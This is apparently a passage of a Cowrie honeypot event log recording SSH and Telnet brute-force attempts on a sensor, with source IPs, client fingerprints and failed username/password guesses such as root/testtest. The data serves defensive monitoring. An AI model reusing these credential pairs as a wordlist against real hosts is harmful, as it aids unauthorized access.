":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.777938Z","src_ip":"2.57.122.238","session":"6f747f764113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55982,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ebb5c740384","protocol":"ssh","message":"New connection: 159.203.92.129:55982 (159.203.135.109:22) [session: 7ebb5c740384]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.788174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.792702Z","src_ip":"159.203.92.129","session":"7ebb5c740384","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.796928Z","src_ip":"159.203.92.129","session":"7ebb5c740384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abuse","password":"123456","message":"login attempt [abuse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:27.807818Z","src_ip":"159.203.92.129","session":"7ebb5c740384","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:28.067136Z","src_ip":"2.57.122.238","session":"6f747f764113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:28.814110Z","src_ip":"159.203.92.129","session":"7ebb5c740384","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:29.165842Z","src_ip":"2.57.122.238","session":"6f747f764113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.112.108","src_port":45858,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca0593bf9c54","protocol":"ssh","message":"New connection: 14.103.112.108:45858 (10.17.0.5:22) [session: ca0593bf9c54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:32.433756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:32.439120Z","src_ip":"14.103.112.108","session":"ca0593bf9c54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:32.665347Z","src_ip":"14.103.112.108","session":"ca0593bf9c54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testtest","message":"login attempt [root/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:33.582990Z","src_ip":"14.103.112.108","session":"ca0593bf9c54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:35.747752Z","src_ip":"14.103.112.108","session":"ca0593bf9c54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":58396,"dst_ip":"159.203.135.109","dst_port":22,"session":"07bd36f649b1","protocol":"ssh","message":"New connection: 43.160.206.186:58396 (159.203.135.109:22) [session: 07bd36f649b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:59.315855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:59.321324Z","src_ip":"43.160.206.186","session":"07bd36f649b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:23:59.567324Z","src_ip":"43.160.206.186","session":"07bd36f649b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aliali","message":"login attempt [root/aliali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:00.580246Z","src_ip":"43.160.206.186","session":"07bd36f649b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:01.829428Z","src_ip":"43.160.206.186","session":"07bd36f649b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":49484,"dst_ip":"159.203.135.109","dst_port":22,"session":"c305b08ba148","protocol":"ssh","message":"New connection: 34.39.58.191:49484 (159.203.135.109:22) [session: c305b08ba148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:06.633221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:06.638654Z","src_ip":"34.39.58.191","session":"c305b08ba148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:06.715397Z","src_ip":"34.39.58.191","session":"c305b08ba148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server12","message":"login attempt [root/Server12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:07.056253Z","src_ip":"34.39.58.191","session":"c305b08ba148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:08.133802Z","src_ip":"34.39.58.191","session":"c305b08ba148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50078,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a35801351e2","protocol":"ssh","message":"New connection: 159.203.92.129:50078 (159.203.135.109:22) [session: 0a35801351e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:11.243080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:11.248078Z","src_ip":"159.203.92.129","session":"0a35801351e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:11.252903Z","src_ip":"159.203.92.129","session":"0a35801351e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abuse","password":"abuse","message":"login attempt [abuse/abuse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:11.263564Z","src_ip":"159.203.92.129","session":"0a35801351e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:12.270029Z","src_ip":"159.203.92.129","session":"0a35801351e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00210642814636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:31.477001Z","src_ip":"89.43.134.59","session":"1d4089a51d2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":56745,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f35f0ac0858","protocol":"telnet","message":"New connection: 89.43.134.59:56745 (159.203.135.109:23) [session: 1f35f0ac0858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:32.995246Z"}
{"eventid":"cowrie.session.closed","duration":120.0037693977356,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:44.805690Z","src_ip":"89.43.134.59","session":"1097025f45e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":25887,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca83a7290810","protocol":"telnet","message":"New connection: 89.43.134.59:25887 (159.203.135.109:23) [session: ca83a7290810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:45.937836Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49532,"dst_ip":"159.203.135.109","dst_port":22,"session":"314831862c9a","protocol":"ssh","message":"New connection: 159.203.92.129:49532 (159.203.135.109:22) [session: 314831862c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:53.252089Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:53.255847Z","src_ip":"159.203.92.129","session":"314831862c9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:53.262225Z","src_ip":"159.203.92.129","session":"314831862c9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ac","password":"123","message":"login attempt [ac/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:53.274073Z","src_ip":"159.203.92.129","session":"314831862c9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:24:54.317298Z","src_ip":"159.203.92.129","session":"314831862c9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":53846,"dst_ip":"159.203.135.109","dst_port":22,"session":"43cd6896b0f0","protocol":"ssh","message":"New connection: 43.160.206.186:53846 (159.203.135.109:22) [session: 43cd6896b0f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:00.189831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:00.195229Z","src_ip":"43.160.206.186","session":"43cd6896b0f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:00.441219Z","src_ip":"43.160.206.186","session":"43cd6896b0f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2024@","message":"login attempt [root/root2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:01.456707Z","src_ip":"43.160.206.186","session":"43cd6896b0f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":56502,"dst_ip":"159.203.135.109","dst_port":22,"session":"dad48e0d1a7c","protocol":"ssh","message":"New connection: 34.39.58.191:56502 (159.203.135.109:22) [session: dad48e0d1a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:02.317092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:25:02.322951Z","src_ip":"34.39.58.191","session":"dad48e0d1a7c","protocol":"ssh"}
